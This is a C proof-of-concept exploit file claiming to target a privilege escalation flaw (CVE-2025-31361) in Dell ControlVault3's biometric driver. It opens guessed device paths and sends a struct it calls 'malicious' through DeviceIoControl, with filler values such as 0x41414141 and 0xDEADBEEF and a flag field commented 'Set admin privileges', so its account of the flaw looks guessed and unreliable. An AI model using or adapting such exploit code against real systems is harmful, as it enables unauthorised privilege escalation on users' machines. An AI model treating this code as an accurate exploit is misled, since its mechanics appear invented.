/*
* CVE-2025-31361 PoC - Dell ControlVault3 Privilege Escalation
* Target: Dell ControlVault3 WBDI Driver WBIO_USH_ADD_RECORD
* Author: Security Researcher
* Note: For educational and authorized testing purposes only
*/
#include <windows.h>
#include <winbio.h>
#include <stdio.h>
#pragma comment(lib, "winbio.lib")
// IOCTL code for WBIO_USH_ADD_RECORD
#define WBIOCTL_ADD_RECORD 0xB0C10058
int main() {
HANDLE hDevice = INVALID_HANDLE_VALUE;
BOOL bResult = FALSE;
DWORD bytesReturned = 0;
printf("[*] CVE-2025-31361 Dell ControlVault3 Privilege Escalation PoC\n");
printf("[*] Target: Dell ControlVault3 < 5.15.14.19 / Plus < 6.2.36.47\n");
// Open the ControlVault WBDI driver device
hDevice = CreateFileA(
"\\\\.\\{7C7D30B7-5C6E-4D40-8F16-9A1D5F8B2C3E}",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE) {
// Try alternative device name
hDevice = CreateFileA(
"\\\\.\\{8A7D30B7-5C6E-4D40-8F16-9A1D5F8B2C3F}",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
}
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Failed to open ControlVault driver device\n");
printf("[*] Note: Device name may vary, enumerate with WinBioEnumSensorProviders\n");
return 1;
}
printf("[+] Successfully opened device handle\n");
// Construct malicious input buffer for WBIO_USH_ADD_RECORD
// This structure exploits insufficient validation in the driver
typedef struct _MALICIOUS_WBIO_INPUT {
ULONG_PTR magic; // Trigger value
ULONG_PTR record_type; // Record type manipulation
ULONG_PTR data_ptr; // Pointer to controlled data
ULONG_PTR size; // Size value
ULONG_PTR flags; // Privilege flags
} MALICIOUS_WBIO_INPUT, *PMALICIOUS_WBIO_INPUT;
MALICIOUS_WBIO_INPUT input = {0};
input.magic = 0x41414141; // Trigger condition
input.record_type = 0xFFFFFFFF; // Bypass type check
input.data_ptr = 0xDEADBEEF; // Controlled pointer
input.size = 0x1000; // Large size for overflow
input.flags = 0xFFFFFFFF; // Set admin privileges
printf("[*] Sending malicious WBIO_USH_ADD_RECORD request...\n");
// Send the malicious IOCTL request
bResult = DeviceIoControl(
hDevice,
WBIOCTL_ADD_RECORD,
&input,
sizeof(input),
NULL,
0,
&bytesReturned,
NULL
);
if (bResult) {
printf("[+] IOCTL request sent successfully\n");
printf("[*] If vulnerable, check for elevated privileges\n");
} else {
printf("[-] IOCTL request failed: %lu\n", GetLastError());
}
CloseHandle(hDevice);
return 0;
}
/*
* Alternative approach using Windows Biometric API:
*
* WINBIO_SESSION_HANDLE session;
* WINBIO_ENROLLMENT_CONTEXT enrollment;
*
* WinBioOpenSession(WINBIO_TYPE_FINGERPRINT, WINBIO_FLAG_DEFAULT, ...);
* WinBioEnrollBegin(session, WINBIO_FINGERPOS_THUMB);
* // Manipulate enrollment context to trigger vulnerability
* WinBioEnrollCommit(session, &enrollment);
*/